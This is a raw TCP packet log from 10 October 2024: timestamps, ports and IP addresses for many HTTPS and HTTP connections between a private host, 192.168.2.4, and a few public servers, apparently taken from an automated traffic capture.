Oct 10, 2024 10:14:13.699024916 CEST	443	64836	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.699110985 CEST	64836	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.699316978 CEST	64836	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.699343920 CEST	443	64836	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.699359894 CEST	64836	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.699367046 CEST	443	64836	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.702465057 CEST	64842	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.702600956 CEST	443	64842	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.702709913 CEST	64842	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.702873945 CEST	64842	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.702909946 CEST	443	64842	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.707375050 CEST	443	64839	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.707860947 CEST	64839	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.707881927 CEST	443	64839	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.708451033 CEST	64839	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.708460093 CEST	443	64839	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.721435070 CEST	443	64838	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.721978903 CEST	64838	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.722016096 CEST	443	64838	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.722426891 CEST	64838	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.722436905 CEST	443	64838	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.725966930 CEST	443	64837	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.726404905 CEST	443	64837	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.726469040 CEST	64837	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.726530075 CEST	64837	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.726552963 CEST	443	64837	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.726573944 CEST	64837	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.726583958 CEST	443	64837	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.729053974 CEST	64843	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.729111910 CEST	443	64843	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.729279995 CEST	64843	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.729425907 CEST	64843	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.729449987 CEST	443	64843	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.814065933 CEST	443	64839	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.814104080 CEST	443	64839	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.814157963 CEST	443	64839	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.814208984 CEST	64839	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.814249992 CEST	64839	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.814527988 CEST	64839	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.814549923 CEST	443	64839	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.814564943 CEST	64839	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.814569950 CEST	443	64839	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.817589045 CEST	64844	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.817692041 CEST	443	64844	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.817799091 CEST	64844	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.817969084 CEST	64844	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.818006039 CEST	443	64844	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.834566116 CEST	443	64838	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.834655046 CEST	443	64838	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.834880114 CEST	64838	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.835134983 CEST	64838	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.835134983 CEST	64838	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.835170984 CEST	443	64838	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.835190058 CEST	443	64838	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.837883949 CEST	64845	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.837939978 CEST	443	64845	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.838021040 CEST	64845	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.838169098 CEST	64845	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.838182926 CEST	443	64845	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.950026035 CEST	80	64840	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:13.950076103 CEST	80	64840	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:13.950169086 CEST	64840	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:13.950268030 CEST	64840	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:13.950628042 CEST	64840	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:13.950661898 CEST	64840	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:14.081809044 CEST	443	64841	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.087018967 CEST	64841	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.087075949 CEST	443	64841	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.087486982 CEST	64841	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.087496042 CEST	443	64841	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.192797899 CEST	443	64841	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.192960024 CEST	443	64841	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.193294048 CEST	64841	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.193294048 CEST	64841	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.193341017 CEST	443	64841	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.193357944 CEST	64841	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.193363905 CEST	443	64841	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.196077108 CEST	64846	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.196111917 CEST	443	64846	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.196367979 CEST	64846	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.196647882 CEST	64846	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.196660995 CEST	443	64846	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.374370098 CEST	443	64842	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.378993988 CEST	443	64843	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.380713940 CEST	64842	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.380800962 CEST	443	64842	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.381525040 CEST	64842	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.381541014 CEST	443	64842	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.382062912 CEST	64843	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.382078886 CEST	443	64843	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.382570982 CEST	64843	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.382577896 CEST	443	64843	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.392272949 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:14.397361040 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:14.483283043 CEST	443	64842	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.483537912 CEST	443	64842	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.483575106 CEST	443	64842	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.483604908 CEST	64842	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.483690977 CEST	64842	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.483823061 CEST	64842	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.483876944 CEST	443	64842	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.483907938 CEST	64842	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.483925104 CEST	443	64842	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.485969067 CEST	443	64843	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.486090899 CEST	443	64843	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.488223076 CEST	443	64845	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.488271952 CEST	64843	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.488271952 CEST	64843	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.488271952 CEST	64843	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.488281965 CEST	64847	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.488380909 CEST	443	64847	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.488697052 CEST	64845	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.488728046 CEST	443	64845	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.488748074 CEST	64847	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.489459038 CEST	64845	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.489470005 CEST	443	64845	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.490209103 CEST	64848	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.490307093 CEST	443	64848	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.490366936 CEST	64848	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.490467072 CEST	64847	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.490504026 CEST	443	64847	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.490756035 CEST	64848	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.490794897 CEST	443	64848	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.517657042 CEST	443	64844	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.518098116 CEST	64844	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.518136978 CEST	443	64844	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.518846035 CEST	64844	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.518857956 CEST	443	64844	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.569715023 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:14.569801092 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:14.582453966 CEST	64849	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:14.582587957 CEST	443	64849	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:14.582684994 CEST	64849	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:14.583028078 CEST	64849	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:14.583067894 CEST	443	64849	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:14.599395037 CEST	443	64845	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.599490881 CEST	443	64845	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.600599051 CEST	64845	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.609036922 CEST	64845	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.609076023 CEST	443	64845	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.609128952 CEST	64845	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.609137058 CEST	443	64845	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.628758907 CEST	64850	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.628815889 CEST	443	64850	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.628983974 CEST	64850	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.629196882 CEST	64850	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.629205942 CEST	443	64850	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.630563974 CEST	443	64844	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.630712032 CEST	443	64844	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.630794048 CEST	64844	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.630827904 CEST	443	64844	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.631139040 CEST	64844	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.631194115 CEST	443	64844	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.631228924 CEST	64844	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.631228924 CEST	64844	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.631252050 CEST	443	64844	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.631272078 CEST	443	64844	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.633238077 CEST	64851	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.633332968 CEST	443	64851	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.633423090 CEST	64851	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.633550882 CEST	64851	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.633589029 CEST	443	64851	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.791977882 CEST	64843	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.792002916 CEST	443	64843	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.850132942 CEST	443	64846	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.858896017 CEST	64846	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.858915091 CEST	443	64846	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.859347105 CEST	64846	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.859350920 CEST	443	64846	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.961581945 CEST	443	64846	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.961838961 CEST	443	64846	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.961889982 CEST	64846	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.962110043 CEST	64846	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.962129116 CEST	443	64846	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:14.962140083 CEST	64846	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:14.962145090 CEST	443	64846	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.018326044 CEST	64852	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.018383980 CEST	443	64852	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.018490076 CEST	64852	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.057010889 CEST	64852	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.057050943 CEST	443	64852	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.150770903 CEST	443	64848	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.152383089 CEST	64848	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.152427912 CEST	443	64848	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.152951002 CEST	64848	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.152960062 CEST	443	64848	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.163244963 CEST	443	64847	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.169956923 CEST	64847	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.170021057 CEST	443	64847	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.170428038 CEST	64847	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.170444965 CEST	443	64847	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.218144894 CEST	443	64849	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:15.218206882 CEST	64849	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:15.229340076 CEST	64849	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:15.229360104 CEST	443	64849	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:15.229713917 CEST	64849	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:15.229718924 CEST	443	64849	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:15.259176970 CEST	443	64848	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.259426117 CEST	443	64848	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.259478092 CEST	64848	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.259502888 CEST	443	64848	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.259538889 CEST	443	64848	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.259577990 CEST	64848	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.264983892 CEST	64848	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.265003920 CEST	443	64848	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.265017033 CEST	64848	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.265023947 CEST	443	64848	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.275881052 CEST	64853	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.275928974 CEST	443	64853	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.275980949 CEST	64853	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.276760101 CEST	64853	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.276777029 CEST	443	64853	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.283447027 CEST	443	64847	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.283519030 CEST	443	64847	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.283574104 CEST	64847	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.285432100 CEST	64847	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.285470009 CEST	443	64847	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.285510063 CEST	64847	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.285526037 CEST	443	64847	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.285922050 CEST	443	64850	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.286422014 CEST	64850	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.286437035 CEST	443	64850	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.286849976 CEST	64850	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.286854982 CEST	443	64850	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.291975021 CEST	443	64851	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.297338009 CEST	64854	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.297375917 CEST	443	64854	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.297421932 CEST	64854	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.297918081 CEST	64854	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.297930002 CEST	443	64854	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.301414013 CEST	64851	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.301433086 CEST	443	64851	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.302241087 CEST	64851	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.302247047 CEST	443	64851	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.393086910 CEST	443	64850	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.393397093 CEST	443	64850	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.393476963 CEST	64850	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.393515110 CEST	64850	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.393531084 CEST	443	64850	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.393541098 CEST	64850	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.393548012 CEST	443	64850	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.396859884 CEST	64855	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.396912098 CEST	443	64855	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.396965981 CEST	64855	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.397272110 CEST	64855	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.397289038 CEST	443	64855	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.405333996 CEST	443	64851	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.405414104 CEST	443	64851	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.405458927 CEST	64851	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.405854940 CEST	64851	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.405878067 CEST	443	64851	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.405895948 CEST	64851	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.405904055 CEST	443	64851	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.414869070 CEST	64856	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.414921999 CEST	443	64856	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.414983034 CEST	64856	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.415235996 CEST	64856	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.415246964 CEST	443	64856	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.520065069 CEST	443	64849	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:15.520183086 CEST	64849	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:15.520211935 CEST	443	64849	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:15.520232916 CEST	443	64849	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:15.520281076 CEST	64849	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:15.520291090 CEST	443	64849	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:15.520309925 CEST	64849	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:15.520328045 CEST	64849	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:15.710391998 CEST	443	64852	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.710864067 CEST	64852	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.710890055 CEST	443	64852	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.711333036 CEST	64852	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.711338997 CEST	443	64852	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.743515015 CEST	64857	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:15.748330116 CEST	80	64857	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:15.748435020 CEST	64857	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:15.752305031 CEST	64857	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:15.757066965 CEST	80	64857	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:15.818603992 CEST	443	64852	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.818666935 CEST	443	64852	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.818746090 CEST	64852	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.818774939 CEST	443	64852	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.818797112 CEST	443	64852	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.818850994 CEST	64852	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.819036007 CEST	64852	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.819047928 CEST	443	64852	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.819081068 CEST	64852	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.819086075 CEST	443	64852	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.822067022 CEST	64858	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.822168112 CEST	443	64858	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.822244883 CEST	64858	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.822429895 CEST	64858	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.822457075 CEST	443	64858	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.891236067 CEST	443	64854	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.891760111 CEST	64854	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.891788960 CEST	443	64854	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.892309904 CEST	64854	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.892314911 CEST	443	64854	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.960992098 CEST	443	64853	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.961710930 CEST	64853	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.961750984 CEST	443	64853	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:15.962349892 CEST	64853	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:15.962354898 CEST	443	64853	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.016180992 CEST	443	64854	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.016206980 CEST	443	64854	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.016252995 CEST	64854	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.016263008 CEST	443	64854	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.016299009 CEST	64854	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.016622066 CEST	64854	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.016649008 CEST	443	64854	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.016663074 CEST	64854	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.016669989 CEST	443	64854	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.020509005 CEST	64859	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.020551920 CEST	443	64859	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.020610094 CEST	64859	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.020821095 CEST	64859	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.020832062 CEST	443	64859	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.062254906 CEST	443	64855	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.063127995 CEST	64855	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.063162088 CEST	443	64855	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.064080954 CEST	64855	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.064086914 CEST	443	64855	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.068420887 CEST	443	64856	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.069016933 CEST	64856	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.069041967 CEST	443	64856	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.069920063 CEST	64856	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.069925070 CEST	443	64856	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.071407080 CEST	443	64853	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.071464062 CEST	443	64853	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.071506023 CEST	64853	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.071847916 CEST	64853	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.071868896 CEST	443	64853	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.083579063 CEST	64860	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.083652020 CEST	443	64860	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.083717108 CEST	64860	443	192.168.2.4	13.107.253.45
